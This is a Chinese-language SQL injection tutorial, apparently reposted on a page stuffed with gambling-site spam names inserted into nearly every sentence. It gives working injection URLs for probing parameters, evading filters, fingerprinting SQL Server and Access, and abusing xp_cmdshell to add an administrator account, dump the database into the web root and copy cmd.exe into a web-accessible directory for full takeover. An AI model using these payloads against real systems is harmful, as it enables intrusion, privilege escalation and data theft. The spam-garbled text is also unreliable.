您的當前位置:首頁 > 解決方案 > 解決方案 >

在线娱乐_用户注册(中国)娱乐中心首页大厅·(中国区)在线娱乐_用户注册(中国)娱乐中心首页大厅-意昂5体育官网

时间:2019-11-08 16:50:18

SQL 注入攻击是黑客对数据库进行攻击的常用手段之一龙8·long8(国际)唯一官方网站-HOME。随着 B/S 模式应用开发的发 展龙8·long8(国际)唯一官方网站-HOMEZ6尊龙旗舰厅官网入口·凯时(中国区)官方网站beat365中文官方网站[官网]-正版App Store,使用这种模式编写应用程序的程序员也越来越多熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站尊龙时凯人生就是搏[中国]官网登录。但是由于程序员的水平及经验也参差 不齐球友会QY(千亿中国)有限公司-会员入口澳门人威泥斯娱乐官方网站(中国)官方网站CQ9电子·(中国区)官方app网站有限公司官网,相当大一部分程序员在编写代码的时候CQ9电子·(中国区)官方app网站有限公司官网熊猫体育Panda【官方网站】- Panda SPORTS龙8·long8(国际)唯一官方网站-HOME,没有对用户输入数据的合法性进行判断星空·综合(体育中国)官方网站龙8·long8(国际)唯一官方网站-HOME,使 应用程序存在安全隐患Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站熊猫体育-【中国区】官方平台网站尊龙时凯人生就是搏[中国]官网登录。用户可以提交一段数据库查询代码熊猫体育-【中国区】官方平台网站,根据程序返回的结果星空·综合(体育中国)官方网站熊猫体育-【中国区】官方平台网站,获得某 些他想得知的数据星空·综合(体育中国)官方网站,这就是所谓的 SQL Injection球友会QY(千亿中国)有限公司-会员入口,即 SQL 注入尊龙时凯人生就是搏[中国]官网登录Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站。SQL 注入是从正常的 WWW 端口访问熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,而且表面看起来跟一般的 Web 页面访问没什么区别球友会QY(千亿中国)有限公司-会员入口熊猫体育Panda【官方网站】- Panda SPORTS,所以目前市面的防火墙都 不会对 SQL 注入发出警报星空·综合(体育中国)官方网站,如果管理员没查看 IIS 日志的习惯澳门人威泥斯娱乐官方网站(中国)官方网站,可能被入侵很长时间都不会 发觉星空·综合(体育中国)官方网站龙8·long8(国际)唯一官方网站-HOME熊猫体育-【中国区】官方平台网站。但是尊龙时凯人生就是搏[中国]官网登录龙8·long8(国际)唯一官方网站-HOME,SQL 注入的手法相当灵活熊猫体育Panda【官方网站】- Panda SPORTS熊猫体育-【中国区】官方平台网站CQ9电子·(中国区)官方app网站有限公司官网,在注入的时候会碰到很多意外的情况星空·综合(体育中国)官方网站,需要构造 巧妙的 SQL 语句beat365中文官方网站[官网]-正版App Store熊猫体育-【中国区】官方平台网站澳门人威泥斯娱乐官方网站(中国)官方网站,从而成功获取想要的数据熊猫体育Panda【官方网站】- Panda SPORTS。

SQL 注入攻击的总体思路

  1. 发现 SQL 注入位置;
  2. 判斷後台數據庫類型;
  3. 确定 XP_CMDSHELL 可执行情况 发现 WEB 虚拟目录
  4. 上传 ASP 木马;
  5. 得到管理員權限beat365中文官方网站[官网]-正版App Store龙8·long8(国际)唯一官方网站-HOME。

SQL 注入攻击的步骤

一、SQL 注入漏洞的判断

一般来说beat365中文官方网站[官网]-正版App Store澳门人威泥斯娱乐官方网站(中国)官方网站熊猫体育Panda【官方网站】- Panda SPORTS,SQL 注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX 等带有参 数的 ASP 动态网页中CQ9电子·(中国区)官方app网站有限公司官网尊龙时凯人生就是搏[中国]官网登录龙8·long8(国际)唯一官方网站-HOME,有时一个动态网页中可能只有一个参数尊龙时凯人生就是搏[中国]官网登录星空·综合(体育中国)官方网站,有时可能有 N 个参数Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站熊猫体育Panda【官方网站】- Panda SPORTS熊猫体育-【中国区】官方平台网站,有 时是整型参数Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站尊龙时凯人生就是搏[中国]官网登录,有时是字符串型参数beat365中文官方网站[官网]-正版App Store,不能一概而论星空·综合(体育中国)官方网站。总之只要是带有参数的动态网页且此 网页访问了数据库CQ9电子·(中国区)官方app网站有限公司官网澳门人威泥斯娱乐官方网站(中国)官方网站,那么就有可能存在 SQL 注入CQ9电子·(中国区)官方app网站有限公司官网。如果 ASP 程序员没有安全意识CQ9电子·(中国区)官方app网站有限公司官网Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,不进行必要的字符过滤尊龙时凯人生就是搏[中国]官网登录星空·综合(体育中国)官方网站,存在 SQL 注入的可能性就非常大beat365中文官方网站[官网]-正版App Store。
为了全面了解动态网页回答的信息CQ9电子·(中国区)官方app网站有限公司官网澳门人威泥斯娱乐官方网站(中国)官方网站,首选请调整 IE 的配置尊龙时凯人生就是搏[中国]官网登录球友会QY(千亿中国)有限公司-会员入口。把 IE 菜单-工具-Internet 选项-高级-显示友好 HTTP 错误信息前面的勾去掉熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站beat365中文官方网站[官网]-正版App Store。
为了把问题说明清楚beat365中文官方网站[官网]-正版App Store星空·综合(体育中国)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站,以下以 HTTP://xxx.xxx.xxx/abc.asp?p=YY 为例进行分析熊猫体育-【中国区】官方平台网站,YY 可能 是整型球友会QY(千亿中国)有限公司-会员入口,也有可能是字符串尊龙时凯人生就是搏[中国]官网登录龙8·long8(国际)唯一官方网站-HOME。

1、整型參數的判斷

当输入的参数 YY 为整型时CQ9电子·(中国区)官方app网站有限公司官网熊猫体育Panda【官方网站】- Panda SPORTS,通常 abc.asp 中 SQL 语句原貌大致如下:
select * from 表名 where 字段=YY熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,所以可以用以下步骤测试 SQL 注入是否存在CQ9电子·(中国区)官方app网站有限公司官网星空·综合(体育中国)官方网站。 1HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号)熊猫体育Panda【官方网站】- Panda SPORTS龙8·long8(国际)唯一官方网站-HOME,此时 abc.ASP 中的 SQL 语句 变成了
select * from 表名 where 字段=YY’星空·综合(体育中国)官方网站球友会QY(千亿中国)有限公司-会员入口熊猫体育Panda【官方网站】- Panda SPORTS,abc.asp 运行异常;
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp 运 行 正 常 龙8·long8(国际)唯一官方网站-HOME, 而 且 与 HTTP://xxx.xxx.xxx/abc.asp?p=YY 运行结果相同; 3HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp 运行异常; 如果以上三步全面满足龙8·long8(国际)唯一官方网站-HOME澳门人威泥斯娱乐官方网站(中国)官方网站,abc.asp 中一定存在 SQL 注入漏洞CQ9电子·(中国区)官方app网站有限公司官网熊猫体育Panda【官方网站】- Panda SPORTS龙8·long8(国际)唯一官方网站-HOME。

2、字符串型參數的判斷

当输入的参数 YY 为字符串时星空·综合(体育中国)官方网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,通常 abc.asp 中 SQL 语句原貌大致如下:
select * from 表名 where 字段='YY'尊龙时凯人生就是搏[中国]官网登录Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,所以可以用以下步骤测试 SQL 注入是否存在球友会QY(千亿中国)有限公司-会员入口熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站。
HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号)熊猫体育Panda【官方网站】- Panda SPORTSCQ9电子·(中国区)官方app网站有限公司官网星空·综合(体育中国)官方网站,此时 abc.ASP 中的 SQL 语句 变成了select * from 表名 where 字段=YY’澳门人威泥斯娱乐官方网站(中国)官方网站,abc.asp 运行异常;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='1', abc.asp 运 行 正 常 龙8·long8(国际)唯一官方网站-HOME, 而 且 与 HTTP://xxx.xxx.xxx/abc.asp?p=YY 运行结果相同;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='2', abc.asp 运行异常; 如果以上三步全面满足星空·综合(体育中国)官方网站球友会QY(千亿中国)有限公司-会员入口,abc.asp 中一定存在 SQL 注入漏洞澳门人威泥斯娱乐官方网站(中国)官方网站星空·综合(体育中国)官方网站。

3、特殊情況的處理

有时 ASP 程序员会在程序员过滤掉单引号等字符龙8·long8(国际)唯一官方网站-HOMEbeat365中文官方网站[官网]-正版App Store熊猫体育-【中国区】官方平台网站,以防止 SQL 注入熊猫体育-【中国区】官方平台网站。此时可以用以下几种 方法试一试星空·综合(体育中国)官方网站。
1大小定混合法:由于 VBS 并不区分大小写星空·综合(体育中国)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站,而程序员在过滤时通常要么全部过滤大写字 符串beat365中文官方网站[官网]-正版App Store熊猫体育Panda【官方网站】- Panda SPORTS,要么全部过滤小写字符串Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站熊猫体育Panda【官方网站】- Panda SPORTS,而大小写混合往往会被忽视澳门人威泥斯娱乐官方网站(中国)官方网站。如用 SelecT 代替 select,SELECT 等;
2UNICODE 法:在 IIS 中球友会QY(千亿中国)有限公司-会员入口,以 UNICODE 字符集实现国际化熊猫体育Panda【官方网站】- Panda SPORTS熊猫体育-【中国区】官方平台网站星空·综合(体育中国)官方网站,我们完全可以 IE 中输入的字 符串化成 UNICODE 字符串进行输入星空·综合(体育中国)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站。如+ =%2B熊猫体育Panda【官方网站】- Panda SPORTS球友会QY(千亿中国)有限公司-会员入口澳门人威泥斯娱乐官方网站(中国)官方网站,空格=%20 等;URLEncode 信息参见 附件一;
3ASCII 码法:可以把输入的部分或全部字符全部用 ASCII 码代替尊龙时凯人生就是搏[中国]官网登录澳门人威泥斯娱乐官方网站(中国)官方网站,如 U=chr(85),a=chr(97) 等星空·综合(体育中国)官方网站,ASCII 信息参见附件二;

二、分析數據庫服務器類型

一般来说尊龙时凯人生就是搏[中国]官网登录熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,ACCESS 与 SQL-SERVER 是最常用的数据库服务器龙8·long8(国际)唯一官方网站-HOME,尽管它们都支持 T-SQL 标准熊猫体育-【中国区】官方平台网站球友会QY(千亿中国)有限公司-会员入口澳门人威泥斯娱乐官方网站(中国)官方网站,但还有不同之处Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站熊猫体育-【中国区】官方平台网站,而且不同的数据库有不同的攻击方法熊猫体育Panda【官方网站】- Panda SPORTS,必须要区别对待澳门人威泥斯娱乐官方网站(中国)官方网站龙8·long8(国际)唯一官方网站-HOME。
  • 利用數據庫服務器的系統變量進行區分
SQL-SERVER 有 user,db_name()等系统变量澳门人威泥斯娱乐官方网站(中国)官方网站星空·综合(体育中国)官方网站,利用这些系统值不仅可以判断 SQL-SERVER熊猫体育Panda【官方网站】- Panda SPORTSZ6尊龙旗舰厅官网入口·凯时(中国区)官方网站CQ9电子·(中国区)官方app网站有限公司官网,而且还可以得到大量有用信息龙8·long8(国际)唯一官方网站-HOME星空·综合(体育中国)官方网站。如:
1 HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是 SQL-SERVER熊猫体育Panda【官方网站】- Panda SPORTS, 而还可以得到当前连接到数据库的用户名
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY&;n ... db_name()>0 不 仅 可 以 判 断 是 否 是 SQL-SERVER澳门人威泥斯娱乐官方网站(中国)官方网站熊猫体育-【中国区】官方平台网站,而还可以得到当前正在使用的数据库名;
  • 利用系統表
ACCESS 的系统表是 msysobjects,且在 WEB 环境下没有访问权限熊猫体育Panda【官方网站】- Panda SPORTSCQ9电子·(中国区)官方app网站有限公司官网澳门人威泥斯娱乐官方网站(中国)官方网站,而 SQL-SERVER 的系 统表是 sysobjects,在 WEB 环境下有访问权限beat365中文官方网站[官网]-正版App Store。对于以下两条语句: 1HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0 2HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0 若数据库是 SQL-SERVECQ9电子·(中国区)官方app网站有限公司官网beat365中文官方网站[官网]-正版App Store尊龙时凯人生就是搏[中国]官网登录,则第一条球友会QY(千亿中国)有限公司-会员入口星空·综合(体育中国)官方网站,abc.asp 一定运行正常星空·综合(体育中国)官方网站,第二条则异常;若是 ACCESS 则两条都会异常beat365中文官方网站[官网]-正版App Store。
  • MSSQL 三个关键系统表

sysdatabases 系统表:Microsoft SQL Server 上的每个数据库在表中占一行熊猫体育-【中国区】官方平台网站。最初安装 SQL Server 时熊猫体育-【中国区】官方平台网站,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项熊猫体育-【中国区】官方平台网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站尊龙时凯人生就是搏[中国]官网登录。该表只存储在 master 数据库中CQ9电子·(中国区)官方app网站有限公司官网beat365中文官方网站[官网]-正版App Store星空·综合(体育中国)官方网站。这个表保存在 master 数据库中beat365中文官方网站[官网]-正版App Store尊龙时凯人生就是搏[中国]官网登录星空·综合(体育中国)官方网站,这个表 中保存的是什么信息呢?这个非常重要CQ9电子·(中国区)官方app网站有限公司官网球友会QY(千亿中国)有限公司-会员入口澳门人威泥斯娱乐官方网站(中国)官方网站。他是保存了所有的库名,以及库的 ID 和一些相关信 息龙8·long8(国际)唯一官方网站-HOME球友会QY(千亿中国)有限公司-会员入口beat365中文官方网站[官网]-正版App Store。
这里我把对于我们有用的字段名称和相关说明给大家列出来熊猫体育Panda【官方网站】- Panda SPORTS。name //表示库的名字beat365中文官方网站[官网]-正版App Store熊猫体育-【中国区】官方平台网站。 dbid //表示库的 ID尊龙时凯人生就是搏[中国]官网登录球友会QY(千亿中国)有限公司-会员入口星空·综合(体育中国)官方网站,dbid 从 1 到 5 是系统的龙8·long8(国际)唯一官方网站-HOME。分别是:master、model、msdb、mssqlweb、 tempdb 这五个库尊龙时凯人生就是搏[中国]官网登录。用 select * from master.dbo.sysdatabases 就可以查询出所有的库 名星空·综合(体育中国)官方网站。
Sysobjects:SQL-SERVER 的每个数据库内都有此系统表球友会QY(千亿中国)有限公司-会员入口星空·综合(体育中国)官方网站龙8·long8(国际)唯一官方网站-HOME,它存放该数据库内创建的所有对 象澳门人威泥斯娱乐官方网站(中国)官方网站CQ9电子·(中国区)官方app网站有限公司官网熊猫体育-【中国区】官方平台网站,如约束、默认值、日志、规则、存储过程等Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站尊龙时凯人生就是搏[中国]官网登录beat365中文官方网站[官网]-正版App Store,每个对象在表中占一行龙8·long8(国际)唯一官方网站-HOMEbeat365中文官方网站[官网]-正版App Store。
syscolumns:每个表和视图中的每列在表中占一行beat365中文官方网站[官网]-正版App Store球友会QY(千亿中国)有限公司-会员入口尊龙时凯人生就是搏[中国]官网登录,存储过程中的每个参数在表中也占一 行CQ9电子·(中国区)官方app网站有限公司官网龙8·long8(国际)唯一官方网站-HOME熊猫体育-【中国区】官方平台网站。该表位于每个数据库中熊猫体育-【中国区】官方平台网站。主要字段有:name 星空·综合(体育中国)官方网站,idZ6尊龙旗舰厅官网入口·凯时(中国区)官方网站, colid :分别是字段名称Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站beat365中文官方网站[官网]-正版App Store澳门人威泥斯娱乐官方网站(中国)官方网站,表 ID 号CQ9电子·(中国区)官方app网站有限公司官网,字段 ID 号熊猫体育-【中国区】官方平台网站CQ9电子·(中国区)官方app网站有限公司官网,其中的 ID 是刚上我们用 sysobjects 得到的表的 ID 号Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站。 用:select*fromChouYFD.dbo.syscolumnswhereid=123456789 得到ChouYFD这个 库中熊猫体育-【中国区】官方平台网站,表的 ID 是 123456789 中的所有字段列表熊猫体育-【中国区】官方平台网站尊龙时凯人生就是搏[中国]官网登录熊猫体育Panda【官方网站】- Panda SPORTS。

三、确定 XP_CMDSHELL 可执行情况

若当前连接数据的帐号具有 SA 权限CQ9电子·(中国区)官方app网站有限公司官网,且 master.dbo.xp_cmdshell 扩展存储过程(调用此 存储过程可以直接使用操作系统的 shell)能够正确执行Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站CQ9电子·(中国区)官方app网站有限公司官网,则整个计算机可以通过以下几种方 法完全控制星空·综合(体育中国)官方网站,以后的所有步骤都可以省
  1. HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... er>0 abc.asp 执行异常但可以得到当前连 接数据库的用户名(若显示 dbo 则代表 SA)熊猫体育Panda【官方网站】- Panda SPORTS尊龙时凯人生就是搏[中国]官网登录。
  2. HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp 执行异常但可以得到当前连接 的数据库名熊猫体育-【中国区】官方平台网站。
  3. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master 是 SQL-SERVER 的主数据库;名中的分号表示 SQL-SERVER 执行完分号 前的语句名球友会QY(千亿中国)有限公司-会员入口尊龙时凯人生就是搏[中国]官网登录,继续执行其后面的语句;“—”号是注解尊龙时凯人生就是搏[中国]官网登录,表示其后面的所有内容仅为注释澳门人威泥斯娱乐官方网站(中国)官方网站, 系统并不执行)可以直接增加操作系统帐户 aaa,密码为 bbb澳门人威泥斯娱乐官方网站(中国)官方网站熊猫体育Panda【官方网站】- Panda SPORTS。
  4. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户 aaa 加到 administrators 组中Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站beat365中文官方网站[官网]-正版App Store熊猫体育Panda【官方网站】- Panda SPORTS。
  5. HTTP://xxx.xxx.xxx/abc.asp?p=YY ; backuup database 数 据 库 名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到 WEB 目录下熊猫体育-【中国区】官方平台网站熊猫体育Panda【官方网站】- Panda SPORTS,再 用 HTTP 把此文件下载(当然首选要知道 WEB 虚拟目录)Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站。
  6. 通过复制 CMD 创建 UNICODE 漏洞
  7. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “ copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe ” 便 制 造 了 一 个 UNICODE 漏洞beat365中文官方网站[官网]-正版App Store澳门人威泥斯娱乐官方网站(中国)官方网站Z6尊龙旗舰厅官网入口·凯时(中国区)官方网站,通过此漏洞的利用方法熊猫体育Panda【官方网站】- Panda SPORTS龙8·long8(国际)唯一官方网站-HOME澳门人威泥斯娱乐官方网站(中国)官方网站,便完成了对整个计算机的控制(当然首选要知道 WEB 虚拟目录)
關于我們
聯系我們
友情鏈接
聯系我們

意昂凯捷平台招商

北京:13691148780

座機:400-6765-208